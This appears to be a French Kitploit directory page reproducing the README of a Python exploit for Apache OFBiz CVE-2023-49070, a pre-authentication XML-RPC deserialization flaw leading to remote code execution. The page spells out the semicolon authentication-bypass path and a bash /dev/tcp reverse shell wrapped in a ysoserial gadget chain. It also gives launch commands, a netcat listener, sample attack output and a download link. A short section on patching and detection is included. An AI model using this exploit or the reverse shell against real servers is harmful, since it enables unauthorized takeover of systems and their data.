Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-49070 — PoC Python pour Apache OFBiz CVE-2023-49070 : contournement d'authentification sur /webtools/control/xmlrpc avec chaîne de gadgets ysoserial pour obtenir une RCE par désérialisation en pré-authentification. | Kitploit
Outils/GitHubGitHub/bardlaudian/cve-2023-49070
Outils DéfensifsGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

PoC Python pour Apache OFBiz CVE-2023-49070 : contournement d'authentification sur /webtools/control/xmlrpc avec chaîne de gadgets ysoserial pour obtenir une RCE par désérialisation en pré-authentification.

Voir le dépôtSite web
1il y a 10h 53mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC pour la RCE par désérialisation pré-auth XML-RPC d'Apache OFBiz, suivie sous CVE-2023-49070 : un chemin de contournement d'authentification déverrouille l'endpoint hérité /webtools/control/xmlrpc, qui désérialise un objet Java contrôlé par l'attaquant, dissimulé dans un paramètre <serializable> d'une requête XML-RPC.

⚠️ Pour des tests de sécurité autorisés uniquement. N'exécutez ceci que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (environnements CTF/lab, missions avec périmètre signé, etc.). L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions.

Vulnérabilité

L'authentification par view-map d'Apache OFBiz protège normalement /webtools/control/xmlrpc. Les versions affectées (< 18.12.10) peuvent être contournées pour ignorer cette vérification en ajoutant un point-virgule suivi de paramètres de requête spécifiques au chemin :

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Une fois accessible, l'endpoint accepte les requêtes XML-RPC. L'implémentation Java d'Apache XML-RPC prend en charge un type d'extension <serializable> : le contenu de l'élément est décodé en base64 et transmis directement à ObjectInputStream.readObject() — désérialisation Java non sécurisée classique. Avec une chaîne de gadgets appropriée sur le classpath (ce PoC utilise CommonsBeanutils1 via ysoserial par défaut), cela se traduit directement par une exécution de commandes à distance sous l'utilisateur OS exécutant OFBiz.

Il s'agit de la même famille de bugs que les précédentes CVE de désérialisation XML-RPC d'OFBiz (par exemple le pendant du contournement d'authentification de CVE-2023-51467) ; OFBiz présente un schéma récurrent de paires contournement-d'authentification + désérialisation sur cet endpoint, donc vérifiez la CVE/plage de versions exacte qui s'applique à votre cible avant de vous fier à ce PoC.

Ce que fait ce script

  1. Construit un reverse shell bash -i >& /dev/tcp/LHOST/LPORT 0>&1, l'encode en base64 et l'enveloppe dans un one-liner bash -c 'echo ... | base64 -d | bash' (évite la mutilation des métacaractères du shell plus loin dans la chaîne d'exécution).
  2. Invoque ysoserial pour construire une chaîne de gadgets sérialisée (CommonsBeanutils1 par défaut, configurable) qui exécute ce one-liner.
  3. Encode en base64 les octets du gadget et les enveloppe dans la charge utile XML-RPC <serializable>.
  4. Envoie le tout en POST vers TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Rapporte le statut HTTP et indique si le corps de la réponse contient le marqueur d'erreur post-désérialisation d'OFBiz (No such service) — un signal que la charge utile a été traitée, pas une preuve d'exécution de code.

Ce que ce script ne fait PAS

Il ne peut pas confirmer que vous avez obtenu un shell — OFBiz renvoie une erreur générique dans les deux cas une fois la désérialisation exécutée (la méthode XML-RPC elle-même, Dns, n'existe pas en tant que service réel). Gardez toujours votre listener actif et vérifiez-le, pas seulement la sortie console du script.

Prérequis

  • Python 3.8+, pip install requests --break-system-packages
  • Java (toute version compatible avec votre build ysoserial)
  • ysoserial-all.jar — construisez-le vous-même depuis frohoff/ysoserial (mvn clean package -DskipTests) ou récupérez un jar de release. Non fourni ici — c'est un outil tiers volumineux avec sa propre licence.

Utilisation

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Démarrez d'abord un listener :

root@kitploit:~
nc -lvnp 4444

Toutes les options

Essayer d'autres chaînes de gadgets

CommonsBeanutils1 est le choix classique pour OFBiz (il embarque commons-beanutils sur le classpath), mais si cela ne fonctionne pas, les bibliothèques embarquées d'OFBiz prennent également en charge d'autres chaînes. Il suffit de changer --gadget :

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Exemple de session

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Détection & atténuation (notes défensives)

  • Appliquez le correctif Apache OFBiz 18.12.10 ou ultérieur (ou la version corrigée actuelle pour votre branche) — cela ferme à la fois le chemin de contournement d'authentification et renforce la désérialisation sur l'endpoint XML-RPC.
  • Désactivez ou restreignez /webtools/control/xmlrpc si vous n'utilisez pas activement l'intégration XML-RPC ; le composant webtools en général est une cible courante et ne devrait pas être exposé à Internet sans raison impérieuse.
  • Filtrez les segments de chemin à base de point-virgule au niveau d'un WAF/reverse-proxy en défense en profondeur — de nombreuses CVE de contournement d'authentification d'OFBiz partagent cette astuce ; contre l'analyse des chemins de servlet Java.
  • Renforcement de la désérialisation : utilisez un filtre de désérialisation anticipé (ObjectInputFilter, disponible depuis JEP 290 / Java 9+) pour bloquer l'instanciation des classes de chaînes de gadgets connues, quel que soit l'endpoint qui déclenche la désérialisation.
  • Surveillez : les POST vers */control/xmlrpc* contenant des éléments <serializable>, les connexions sortantes inattendues depuis l'hôte OFBiz, et les processus enfants lancés par le processus Java exécutant OFBiz.

Références

  • NVD — CVE-2023-49070
  • Avis de sécurité Apache OFBiz
  • ysoserial

Licence

MIT — voir LICENSE.

Télécharger l’outil
FlagDéfautDescription
--target(requis)URL de base de la cible, ex. https://ofbiz.target.tld
--lhost(requis)IP de votre listener
--lport(requis)Port de votre listener
--ysoserialysoserial-all.jarChemin vers le jar ysoserial
--gadgetCommonsBeanutils1Chaîne de gadgets ysoserial à utiliser
--java-binjavaBinaire Java à invoquer
--timeout15Délai d'expiration de la requête HTTP (secondes)
--proxy(aucun)Proxy HTTP(S) optionnel, ex. pour router via Burp